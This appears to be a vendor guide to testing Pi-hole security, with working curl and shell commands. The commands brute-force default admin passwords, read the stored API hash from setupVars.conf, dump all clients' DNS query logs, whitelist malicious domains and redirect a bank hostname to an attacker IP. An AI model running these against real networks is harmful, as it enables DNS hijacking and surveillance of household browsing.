Pi-hole is one of the most widely deployed self-hosted DNS filtering applications, used in home labs and small networks to block ads and trackers at the DNS level — making it a high-value target because compromising it gives control over all DNS resolution for connected devices. Its security assessment covers: Pi-hole's admin panel at /admin/index.php is configured with a single password during setup, but many deployments run with no password set (blank password accepted), and the hashed password is stored in /etc/pihole/setupVars.conf; Pi-hole's REST API at /admin/api.php uses a single authentication parameter (auth) equal to the double-MD5 hash of the admin password — this hash is visible in setupVars.conf and enables full API access without knowing the plaintext password; with API access, an attacker can whitelist malicious domains in the blocklist (Gravity), add custom DNS records redirecting specific hostnames to attacker-controlled IPs, and retrieve DNS query logs exposing all browsing patterns of every LAN device; Pi-hole v6 introduced a new API with session-based authentication, while Pi-hole v5 and earlier use the simpler token parameter — both versions require assessment; and Pi-hole's FTL (Faster Than Light) daemon maintains detailed per-client query logs that reveal device browsing behavior across the whole network. This guide covers systematic Pi-hole security assessment.
# Pi-hole admin panel authentication
PIHOLE_URL="http://pihole.local" # or IP address
# Test unauthenticated access to admin panel
STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
"${PIHOLE_URL}/admin/index.php" 2>/dev/null)
echo "Admin panel HTTP status: ${STATUS}"
# Test blank password (no-auth deployment)
# Pi-hole admin with no password set allows empty auth parameter
BLANK_TEST=$(curl -s \
"${PIHOLE_URL}/admin/api.php?summaryRaw&auth=" 2>/dev/null)
echo "Blank auth response: $(echo $BLANK_TEST | head -c 100)"
# Check if /etc/pihole/setupVars.conf is accessible
# (only if Pi-hole web root misconfiguration exposes it)
curl -s "${PIHOLE_URL}/pihole/setupVars.conf" 2>/dev/null | head -5
# Test Pi-hole v5 API with common/default passwords
# The auth token is double-MD5: MD5(MD5(password))
for PASS in "" "pihole" "raspberry" "admin" "password"; do
if [ -z "$PASS" ]; then
HASH=""
else
HASH=$(echo -n "$PASS" | md5sum | cut -d' ' -f1)
HASH=$(echo -n "$HASH" | md5sum | cut -d' ' -f1)
fi
RESULT=$(curl -s \
"${PIHOLE_URL}/admin/api.php?summaryRaw&auth=${HASH}" 2>/dev/null)
# Check if we got a valid response (not empty auth error)
DOMAINS_BLOCKED=$(echo "$RESULT" | python3 -c "
import json,sys
try:
d=json.load(sys.stdin)
print(d.get('domains_being_blocked','AUTH_FAILED'))
except:
print('INVALID')
" 2>/dev/null)
if [ "$DOMAINS_BLOCKED" != "AUTH_FAILED" ] && [ "$DOMAINS_BLOCKED" != "INVALID" ]; then
echo "AUTHENTICATED with password='${PASS}' hash=${HASH:0:8}..."
echo "Domains blocked: ${DOMAINS_BLOCKED}"
break
fi
done
# Pi-hole API key is stored as double-MD5 hash in setupVars.conf
# WEBPASSWORD= in /etc/pihole/setupVars.conf
# If you have shell access or can read the config file, extract it directly
# Extract API key from setupVars.conf
cat /etc/pihole/setupVars.conf | grep WEBPASSWORD | cut -d= -f2
# With a valid API token, access query logs for all LAN clients
PIHOLE_URL="http://pihole.local"
API_TOKEN="your-double-md5-token"
# Get all recent DNS queries — reveals browsing behavior of all LAN devices
curl -s "${PIHOLE_URL}/admin/api.php?getAllQueries=100&auth=${API_TOKEN}" \
2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
queries = d.get('data',[])
print(f'Recent DNS queries: {len(queries)}')
# Show unique client IPs
clients = set(q[3] for q in queries if len(q)>3)
print(f'Active clients: {clients}')
# Show queried domains
for q in queries[:10]:
print(f' {q[1]} -> {q[2]} from {q[3]}')
" 2>/dev/null
# Pi-hole DNS manipulation with authenticated API access
PIHOLE_URL="http://pihole.local"
API_TOKEN="your-double-md5-token"
# Whitelist a domain that should be blocked
# This allows malicious domains to resolve for all LAN devices
curl -s "${PIHOLE_URL}/admin/api.php?list=white&add=malicious-domain.example.com&auth=${API_TOKEN}" \
2>/dev/null
# Add a custom DNS record — redirect a hostname to attacker IP
# This enables DNS hijacking of specific domains for all LAN clients
curl -s "${PIHOLE_URL}/admin/api.php?customdns&action=add&domain=bank.example.com&ip=192.168.1.100&auth=${API_TOKEN}" \
2>/dev/null
# Disable Pi-hole filtering entirely (all domains resolve again)
curl -s "${PIHOLE_URL}/admin/api.php?disable&auth=${API_TOKEN}" 2>/dev/null
# Get the Gravity database entry count (confirms API is working)
curl -s "${PIHOLE_URL}/admin/api.php?summaryRaw&auth=${API_TOKEN}" \
2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Domains blocked: {d.get(\"domains_being_blocked\")}')
print(f'Queries today: {d.get(\"dns_queries_today\")}')
print(f'Ads blocked today: {d.get(\"ads_blocked_today\")}')
" 2>/dev/null
pihole -a -p to set a strong admin password; without a password any device on the network can access the admin panel and full API without authentication| Security Test | Method | Risk |
|---|---|---|
| No password set on admin panel (common default) | Access /admin/index.php with blank password — full admin access to DNS configuration, query logs, and blocklist management without credentials | Critical |
| API token (double-MD5) accessible via setupVars.conf | Read /etc/pihole/setupVars.conf WEBPASSWORD field — double-MD5 hash used directly as API auth parameter without needing plaintext password | High |
| DNS query log exposure via API | GET /admin/api.php?getAllQueries=100&auth=TOKEN — retrieves all DNS queries for all LAN clients revealing complete browsing behavior of every device on the network | High |
| Custom DNS record injection for DNS hijacking | POST /admin/api.php?customdns&action=add — adds DNS records redirecting specific hostnames to attacker-controlled IPs for all LAN clients | Critical |
| Gravity blocklist manipulation (domain whitelisting) | GET /admin/api.php?list=white&add=domain — whitelists malicious domains allowing them to resolve for all devices using Pi-hole as DNS resolver | High |
| Pi-hole disable via API (full ad blocking disabled) | GET /admin/api.php?disable&auth=TOKEN — disables all DNS filtering; all blocked domains resolve again for entire LAN | Medium |
Ironimo tests Pi-hole deployments for admin panel access without password (blank auth parameter), API token extraction via setupVars.conf double-MD5 hash enabling full API access without the plaintext password, DNS query log exposure revealing browsing patterns of all LAN devices, custom DNS record injection enabling DNS hijacking for all clients, Gravity blocklist domain whitelisting allowing malicious domains to resolve, and Pi-hole complete disable via API endpoint.
Start free scan